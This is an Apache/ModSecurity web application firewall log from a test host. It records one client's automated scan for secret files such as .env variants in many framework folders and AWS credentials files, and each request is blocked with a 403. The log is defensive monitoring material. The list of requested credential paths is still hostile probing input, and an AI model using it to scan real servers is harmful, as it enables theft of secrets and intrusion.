[Sun Jun 08 02:26:25.376687 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aETYsS591hUXPIOf0I8tcQAAAAs"]
[Sun Jun 08 02:26:26.849547 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aETYsi591hUXPIOf0I8tcgAAAAs"]
[Sun Jun 08 02:26:26.849762 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aETYsi591hUXPIOf0I8tcgAAAAs"]
[Sun Jun 08 02:26:26.849972 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aETYsi591hUXPIOf0I8tcgAAAAs"]
[Sun Jun 08 02:26:28.455108 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aETYtC591hUXPIOf0I8tcwAAAAs"]
[Sun Jun 08 02:26:28.455328 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aETYtC591hUXPIOf0I8tcwAAAAs"]
[Sun Jun 08 02:26:28.455524 2025] [:error] [pid 3709563] [client 107.150.0.115:56012] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aETYtC591hUXPIOf0I8tcwAAAAs"]
[Sun Jun 08 02:26:38.828750 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /wp-content/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/.env"] [unique_id "aETYvog00oSaH7Tbaqeq9gAAAAY"]
[Sun Jun 08 02:26:38.829001 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/.env"] [unique_id "aETYvog00oSaH7Tbaqeq9gAAAAY"]
[Sun Jun 08 02:26:38.829193 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/.env"] [unique_id "aETYvog00oSaH7Tbaqeq9gAAAAY"]
[Sun Jun 08 02:26:39.763778 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aETYv4g00oSaH7Tbaqeq9wAAAAY"]
[Sun Jun 08 02:26:39.771898 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aETYv4g00oSaH7Tbaqeq9wAAAAY"]
[Sun Jun 08 02:26:39.772061 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aETYv4g00oSaH7Tbaqeq9wAAAAY"]
[Sun Jun 08 02:26:40.745180 2025] [authz_core:error] [pid 3709560] [client 107.150.0.115:35150] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env
[Sun Jun 08 02:26:41.600384 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aETYwYg00oSaH7Tbaqeq-QAAAAY"]
[Sun Jun 08 02:26:41.600621 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aETYwYg00oSaH7Tbaqeq-QAAAAY"]
[Sun Jun 08 02:26:41.600845 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aETYwYg00oSaH7Tbaqeq-QAAAAY"]
[Sun Jun 08 02:26:42.473006 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aETYwog00oSaH7Tbaqeq-gAAAAY"]
[Sun Jun 08 02:26:42.473218 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aETYwog00oSaH7Tbaqeq-gAAAAY"]
[Sun Jun 08 02:26:42.473407 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aETYwog00oSaH7Tbaqeq-gAAAAY"]
[Sun Jun 08 02:26:46.166885 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aETYxog00oSaH7Tbaqeq_AAAAAY"]
[Sun Jun 08 02:26:46.167098 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aETYxog00oSaH7Tbaqeq_AAAAAY"]
[Sun Jun 08 02:26:46.167280 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aETYxog00oSaH7Tbaqeq_AAAAAY"]
[Sun Jun 08 02:26:47.032269 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /library/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/library/.env"] [unique_id "aETYx4g00oSaH7Tbaqeq_QAAAAY"]
[Sun Jun 08 02:26:47.033669 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/library/.env"] [unique_id "aETYx4g00oSaH7Tbaqeq_QAAAAY"]
[Sun Jun 08 02:26:47.033891 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/library/.env"] [unique_id "aETYx4g00oSaH7Tbaqeq_QAAAAY"]
[Sun Jun 08 02:26:47.913034 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /nextjs-app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nextjs-app/.env"] [unique_id "aETYx4g00oSaH7Tbaqeq_gAAAAY"]
[Sun Jun 08 02:26:47.913239 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nextjs-app/.env"] [unique_id "aETYx4g00oSaH7Tbaqeq_gAAAAY"]
[Sun Jun 08 02:26:47.913432 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nextjs-app/.env"] [unique_id "aETYx4g00oSaH7Tbaqeq_gAAAAY"]
[Sun Jun 08 02:26:49.031813 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /node-api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node-api/.env"] [unique_id "aETYyYg00oSaH7Tbaqeq_wAAAAY"]
[Sun Jun 08 02:26:49.032026 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node-api/.env"] [unique_id "aETYyYg00oSaH7Tbaqeq_wAAAAY"]
[Sun Jun 08 02:26:49.032209 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node-api/.env"] [unique_id "aETYyYg00oSaH7Tbaqeq_wAAAAY"]
[Sun Jun 08 02:26:50.346143 2025] [authz_core:error] [pid 3709560] [client 107.150.0.115:35150] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/.env
[Sun Jun 08 02:26:51.794923 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aETYy4g00oSaH7TbaqerAQAAAAY"]
[Sun Jun 08 02:26:51.795128 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aETYy4g00oSaH7TbaqerAQAAAAY"]
[Sun Jun 08 02:26:51.795321 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aETYy4g00oSaH7TbaqerAQAAAAY"]
[Sun Jun 08 02:26:53.100139 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aETYzYg00oSaH7TbaqerAgAAAAY"]
[Sun Jun 08 02:26:53.100355 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aETYzYg00oSaH7TbaqerAgAAAAY"]
[Sun Jun 08 02:26:53.100555 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aETYzYg00oSaH7TbaqerAgAAAAY"]
[Sun Jun 08 02:26:54.528714 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /home/user/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/user/.aws/credentials"] [unique_id "aETYzog00oSaH7TbaqerAwAAAAY"]
[Sun Jun 08 02:26:54.529012 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/user/.aws/credentials"] [unique_id "aETYzog00oSaH7TbaqerAwAAAAY"]
[Sun Jun 08 02:26:54.529281 2025] [:error] [pid 3709560] [client 107.150.0.115:35150] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/user/.aws/credentials"] [unique_id "aETYzog00oSaH7TbaqerAwAAAAY"]
